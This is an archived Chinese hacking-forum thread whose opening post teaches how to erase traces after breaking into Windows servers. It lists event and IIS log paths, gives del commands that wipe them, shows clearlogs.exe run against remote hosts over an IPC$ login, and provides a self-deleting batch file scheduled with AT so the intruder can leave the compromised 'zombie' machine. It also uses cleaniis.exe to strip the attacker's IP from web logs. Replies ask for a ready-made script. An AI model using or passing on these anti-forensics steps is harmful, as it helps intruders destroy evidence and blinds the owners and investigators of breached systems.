# 入侵后如何清除日志

**URL:** <https://forum.90sec.com/t/topic/2776>\
**Category:** 交流讨论\
**Created:** [2011 年10 月 23 日 10:49 UTC](https://forum.90sec.com/t/topic/2776 "2011-10-23T10:49:56Z")\
**Posts on this page:** 7\
**Page:** 1

<div class="post-metadata">

作者： ![user\_deleted7](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/35a633/32.png) [@user\_deleted7](https://forum.90sec.com/u/user_deleted7)\
发布日期： [2011 年10 月 23 日 10:49 UTC](https://forum.90sec.com/t/topic/2776/1 "2011-10-23T10:49:56Z")

</div>

应用程序日志、安全日志、系统日志、DNS服务器日志等等  
DNS日志默认位置：%systemroot%\system32\config，默认文件大小512KB，管理员都会改变这个默认大小。  
安全日志文件：%systemroot%\system32\config\SecEvent.EVT  
系统日志文件：%systemroot%\system32\config\SysEvent.EVT  
应用程序日志文件：%systemroot%\system32\config\AppEvent.EVT  
FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个  
WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志

# 手工清除日志的命令: del c:\winnt\system32\logfiles\_._ del c:\winnt\system32\config\_.evt del c:\winnt\system32\dtclog\_.\* del c:\winnt\system32\_.log del c:\winnt\system32\_.txt del c:\winnt\_.txt del c:\winnt\_.log 1.系统日志 通过手工很难清除. 这里我们介绍一个工具 clearlog.exe 使用方法: Usage: clearlogs [\computername] \<-app / -sec / -sys\> -app = 应用程序日志 -sec = 安全日志 -sys = 系统日志 a. 可以清除远程计算机的日志 \*\* 先用ipc连接上去: net use \ip\ipc$ 密码/user:用户名 \*\* 然后开始清除: 方法 clearlogs \ip -app 这个是清除远程计算机的应用程序日志 clearlogs \ip -sec 这个是清除远程计算机的安全日志 clearlogs \ip -sys 这个是清除远程计算机的系统日志 b.清除本机日志: 如果和远程计算机的不能空连接. 那么就需要把这个工具传到远程计算机上面 然后清除. 方法: clearlogs -app 这个是清除远程计算机的应用程序日志 clearlogs -sec 这个是清除远程计算机的安全日志 clearlogs -sys 这个是清除远程计算机的系统日志 安全日志已经被清除.Success: The log has been cleared 成功. 为了更安全一点.同样你也可以建立一个批处理文件.让自动清除. 做好批处理文件.然后用at命令建立一个计划任务. 让自动运行. 之后你就可以离开你的肉鸡了. 例如建立一个 c.bat rem ============================== 开始 @echo off clearlogs -app clearlogs -sec clearlogs -sys del clearlogs.exe del c.bat exit rem ============================== 结束 在你的计算机上面测试的时候 可以不要 @echo off 可以显示出来. 你可以看到结果 第一行表示: 运行时不显示窗口 第二行表示: 清除应用程序日志 第三行表示: 清除安全日志 第四行表示: 清除系统日志 第五行表示: 删除 clearlogs.exe 这个工具 第六行表示: 删除 c.bat 这个批处理文件 第七行表示: 退出 用AT命令. 建立一个计划任务. 这个命令在原来的教程里面和杂志里面都有. 你可以去看看详细的使用方法 AT 时间 c:\c.bat 之后你就可以安全离开了. 这样才更安全一点.

2.清除iis日志:  
工具:cleaniis.exe  
使用方法:  
iisantidote  
iisantidote stop  
stop opiton will stop iis before clearing the files and restart it after  
exemple : c:\winnt\system32\logfiles\w3svc1\ dont forget the   
使用方法解释:  
cleaniis.exe iis日志存放的路径 清除参数  
什么意思呢？？我来给大家举个例子吧：  
cleaniis c:\winnt\system32\logfiles\w3svc1\ 192.168.0.1  
这个表示清除log中所有此IP(192.168.0.1)地址的访问记录. —–推荐使用这种方法  
cleaniis c:\winnt\system32\logfiles\w3svc1\ /shop/admin/  
这个表示清除这个目录里面的所以的日志  
c:\winnt\system32\logfiles\w3svc1 代表是iis日志的位置(windows nt/2000) 这个路径可以改变  
c:\windows\system32\logfiles\w3svc1 代表是iis日志的位置(windows xp/2003) 这个路径可以改变  
这个测试表示 在日志里面没有这个ip地址.  
我们看一下日志的路径 再来看一下  
我们的ip(192.168.0.1)已经没有了.  
已经全部清空.

# 同样这个也可以建立批处理. 方法同上面的那个.

# 3.清除历史记录及运行的日志: cleaner.exe 直接运行就可以了.

4.察看blackice的日志.  
这个地方我们可以清除的看到 防火墙的日志.  
这个表示 有人发过来带有病毒的email附件. ip是: 220.184.153.116  
tcp\_probe\_other 表示 通过tcp 扫描 或者利用别的和你建立连接 通信  
这个表示通过端口 80 扫描iis  
病毒 nimda  
这里需要很多的计算机协议知识. 同时也需要对英语有了解  
才能更好的分析 如果对英语不好 你可以装一个金山词霸.  
一般情况下 我们可以 对一些可以不用管.  
一般这三种情况 不用去管.  
最上面的 critical 这个 可以去关注一下 . 一般是确实有别的计算机扫描或者入侵你的计算机  
count 代表次数 intruder 是对方的ip event 是通过什么方式(协议) 扫描或者想入侵的  
time表示时间

5.===================================  
netstat -an 表示什么意思?  
使用这个命令可以察看到和本机的所有的连接.  
Proto Local Address Foreign Address State  
协议 本地端口及IP地址 远程端口及IP地址 状态  
LISTENING 监听状态 表示等待对方连接  
ESTABLISHED 正在连接着.  
TCP 协议是TCP  
UDP 协议是UDP  
TCP 192.168.0.10:1115 61.186.97.54:80 ESTABLISHED  
这个表示 利用tcp协议 本机ip(192.168.0.10)通过端口:1115 和远程ip(61.186.97.54)端口:80连接  
80端口 表示 http 就是你在访问这个网站.  
一般情况下远程ip的端口: 80 21 8000 这个都是正常的. 如果是别的 就可以看一下你的计算机了.

---

<div class="post-metadata">

作者： ![sulinehk](https://forum.90sec.com/user_avatar/forum.90sec.com/sulinehk/32/989_2.png) [@sulinehk](https://forum.90sec.com/u/sulinehk)\
发布日期： [2011 年10 月 30 日 05:05 UTC](https://forum.90sec.com/t/topic/2776/2 "2011-10-30T05:05:53Z")

</div>

可以写成一个小程序就好了！

---

<div class="post-metadata">

作者： ![sulinehk](https://forum.90sec.com/user_avatar/forum.90sec.com/sulinehk/32/989_2.png) [@sulinehk](https://forum.90sec.com/u/sulinehk)\
发布日期： [2011 年10 月 30 日 05:06 UTC](https://forum.90sec.com/t/topic/2776/3 "2011-10-30T05:06:13Z")

</div>

可以写成一个小程序就好了！

---

<div class="post-metadata">

作者： ![debugz3r0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/41988e/32.png) [@debugz3r0](https://forum.90sec.com/u/debugz3r0)\
发布日期： [2012 年1 月 21 日 13:57 UTC](https://forum.90sec.com/t/topic/2776/4 "2012-01-21T13:57:35Z")

</div>

可以整理个bat出来{:4\_28:}

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年1 月 22 日 11:56 UTC](https://forum.90sec.com/t/topic/2776/5 "2012-01-22T11:56:41Z")

</div>

嗯 很详细的 一篇文章  
收集所有 清除 日志的办法  
写个批处理

---

<div class="post-metadata">

作者： ![q332550936](https://forum.90sec.com/letter_avatar_proxy/v4/letter/q/a587f6/32.png) [@q332550936](https://forum.90sec.com/u/q332550936)\
发布日期： [2012 年1 月 23 日 02:28 UTC](https://forum.90sec.com/t/topic/2776/6 "2012-01-23T02:28:16Z")

</div>

求批处理或者小EXE。

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年1 月 29 日 10:38 UTC](https://forum.90sec.com/t/topic/2776/7 "2012-01-29T10:38:21Z")

</div>

收藏了 的确可以!!!!!!!
